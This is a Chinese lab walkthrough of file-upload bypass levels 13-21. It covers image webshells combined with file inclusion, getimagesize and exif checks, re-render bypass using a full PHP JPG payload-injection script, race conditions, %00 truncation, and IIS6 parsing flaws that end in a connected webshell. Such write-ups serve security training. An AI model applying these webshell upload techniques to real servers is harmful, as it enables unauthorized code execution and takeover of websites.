Pass-13(图片马绕过) 本关开始为图片关,需要配合文件包含运行木马语句 还是老样子,查看下源码 该关卡检测头文件的2个字节,也就是检测图片的类型,结合白名单得知上传文件只限于jpg,png和gif的图片格式 1、通过cmd命令合并图片马 copy a.jpg/b + b.php/a test.jpg 将木马写入正常图片中 2、观察代码没有进行对后缀名的过滤,也可以发送php文件,用bp抓包,加入对应图片类型的头文件。 上传图片后复制图片的地址,找到文件包含的php页面 GET方法传参数file=图片路径即可成功执行php代码
Pass-14(getimagesize图片类型绕过) 14关也是同样的图片马关,本关使用了getimagesize()函数,该函数的作用是用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条错误信息。这个函数功能会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求的。思路也跟上一关大致相同,不过这个需要构建图片马,因为该函数已经对后缀名限制是图片格式,不然该函数不会执行对应的功能。
Pass-15(php_exif模块图片类型绕过) 该函数功能是读取一个图像的第一个字节并检查其签名,如果发现了恰当的签名则返回一个对应的常量,否则返回 false。返回值和 getimagesize() 返回的数组中的索引 2 的值是一样的,但本函数快得多。 老方法,合成一张图片马,上传,执行php语句。
Pass-16(二次渲染) 二次渲染意为上传一张图片后,将图片重新绘制,一般用于论坛等平台设置头像等压缩图的位置。观察代码 可以看到该关对MIME和文件后缀都做了过滤限制,下面没截到的是png和gif 解题思路还是做一张图片马 gif情况 上传后重新在服务器下载回来,打开16进制编辑器(一般我使用时010editor),查看压缩图删除的代码和原图片比对,再重新将php语句放到删除的代码前面即可 png情况比较麻烦,不过多阐述 jpg情况 使用国外大牛的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 <?php /* The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled(). It is necessary that the size and quality of the initial image are the same as those of the processed image. 1) Upload an arbitrary image via secured files upload script 2) Save the processed image and launch: jpg_payload.php <jpg_name.jpg> In case of successful injection you will get a specially crafted image, which should be uploaded again. Since the most straightforward injection method is used, the following problems can occur: 1) After the second processing the injected data may become partially corrupted. 2) The jpg_payload.php script outputs "Something's wrong". If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image. Sergey Bobrov @Black2Fan. See also: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ */ $miniPayload = "<?=phpinfo();?>"; if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) { die('php-gd is not installed'); } if(!isset($argv[1])) { die('php jpg_payload.php <jpg_name.jpg>'); } set_error_handler("custom_error_handler"); for($pad = 0; $pad < 1024; $pad++) { $nullbytePayloadSize = $pad; $dis = new DataInputStream($argv[1]); $outStream = file_get_contents($argv[1]); $extraBytes = 0; $correctImage = TRUE; if($dis->readShort() != 0xFFD8) { die('Incorrect SOI marker'); } while((!$dis->eof()) && ($dis->readByte() == 0xFF)) { $marker = $dis->readByte(); $size = $dis->readShort() - 2; $dis->skip($size); if($marker === 0xDA) { $startPos = $dis->seek(); $outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos); checkImage('_'.$argv[1], $outStreamTmp, TRUE); if($extraBytes !== 0) { while((!$dis->eof())) { if($dis->readByte() === 0xFF) { if($dis->readByte !== 0x00) { break; } } } $stopPos = $dis->seek() - 2; $imageStreamSize = $stopPos - $startPos; $outStream = substr($outStream, 0, $startPos) . $miniPayload . substr( str_repeat("\0",$nullbytePayloadSize). substr($outStream, $startPos, $imageStreamSize), 0, $nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos); } elseif($correctImage) { $outStream = $outStreamTmp; } else { break; } if(checkImage('payload_'.$argv[1], $outStream)) { die('Success!'); } else { break; } } } } unlink('payload_'.$argv[1]); die('Something\'s wrong'); function checkImage($filename, $data, $unlink = FALSE) { global $correctImage; file_put_contents($filename, $data); $correctImage = TRUE; imagecreatefromjpeg($filename); if($unlink) unlink($filename); return $correctImage; } function custom_error_handler($errno, $errstr, $errfile, $errline) { global $extraBytes, $correctImage; $correctImage = FALSE; if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) { if(isset($m[1])) { $extraBytes = (int)$m[1]; } } } class DataInputStream { private $binData; private $order; private $size; public function __construct($filename, $order = false, $fromString = false) { $this->binData = ''; $this->order = $order; if(!$fromString) { if(!file_exists($filename) || !is_file($filename)) die('File not exists ['.$filename.']'); $this->binData = file_get_contents($filename); } else { $this->binData = $filename; } $this->size = strlen($this->binData); } public function seek() { return ($this->size - strlen($this->binData)); } public function skip($skip) { $this->binData = substr($this->binData, $skip); } public function readByte() { if($this->eof()) { die('End Of File'); } $byte = substr($this->binData, 0, 1); $this->binData = substr($this->binData, 1); return ord($byte); } public function readShort() { if(strlen($this->binData) < 2) { die('End Of File'); } $short = substr($this->binData, 0, 2); $this->binData = substr($this->binData, 2); if($this->order) { $short = (ord($short[1]) << 8) + ord($short[0]); } else { $short = (ord($short[0]) << 8) + ord($short[1]); } return $short; } public function eof() { return !$this->binData||(strlen($this->binData) === 0); } } ?>
保存为upload.php 在网上找一张jpg图片上传服务器后下载下来保存为1.jpg,利用命令
上传新图片重新下载比对与原来的位置插入的php语句一样。 注意:有时候的jpg图片不能成功执行,需要多尝试几张。
Pass-17(条件竞争) 一般来说,在服务器中若有并发状态,上传的文件即使遇到过滤也不会被删除。利用了服务器在使用、更改该文件等操作,使得文件无法被删除从而执行恶意代码。留下shell后该文件也就完成了它的任务。 查看源码 可以看到如果不通过,则使用unlink函数删除该文件 此时我们需要准备bp制作两个脚本,一个是发送文件脚本,一个是访问文件脚本 1、上传test.php,并放入intruder模块 里面可以写入生成shell的脚本 设置payload 选择agent里不变的变量 2、访问文件地址,设置payload 设置nullpayload 线程最好调高一点,我调的是50 可以发现长度有所变化,证明我们已经执行了php的代码
Pass-18(条件竞争二) 查看源码 是白名单限制,可以上传一个test.php.7z文件,里面写一个生成shell语句。apache允许多后缀,且从右往左开始解析。通过发包,使得服务器来不及rename,连接新生成的木马文件。
Pass-19(move_uploaded_file()截断) 本函数检查并确保由 file 指定的文件是合法的上传文件(即通过 PHP 的 HTTP POST 上传机制所上传的)。如果文件合法,则将其移动为由 newloc 指定的文件。如果 file 不是合法的上传文件,不会出现任何操作,move_uploaded_file遇到\x00字符后会截断路径名。 查看源码 方法一 抓包,并修改文件名,改为upload-19.php%00.jpg绕过黑名单限制,又因为这个是POST方法,所以需要将%00解码,解码操作已在前面几关演示过。 最后成功上传 方法二 图片马+文件包含,为?sava_name=图片马的路径 方法三 若服务器为window,还可以在test.php后加一个.空格,到目标服务器上会识别该文件后缀为点空格,window会自动删除点空格,最后解析为php文件
Pass-20(IIS6.0解析漏洞(一)) 查看源码 有白名单 再随便上传一个文件,访问错误的路径 发现是IIS,可以利用相关的IIS漏洞 写一个一句话木马的asp文件 上传抓包 将test.asp修改为test.asp;.png,该做法为的是过白名单限制 获得文件路径后,用蚁剑连接 成功连接,该文件为刚刚上传的asp木马
Pass-21(IIS6.0解析漏洞(二)) 本关在上一关的基础上加入了MIME判断 只需在抓包数据那里,将content-type里改成image/png等MIME格式,成功执行asp木马 该文件则为刚刚上传的文件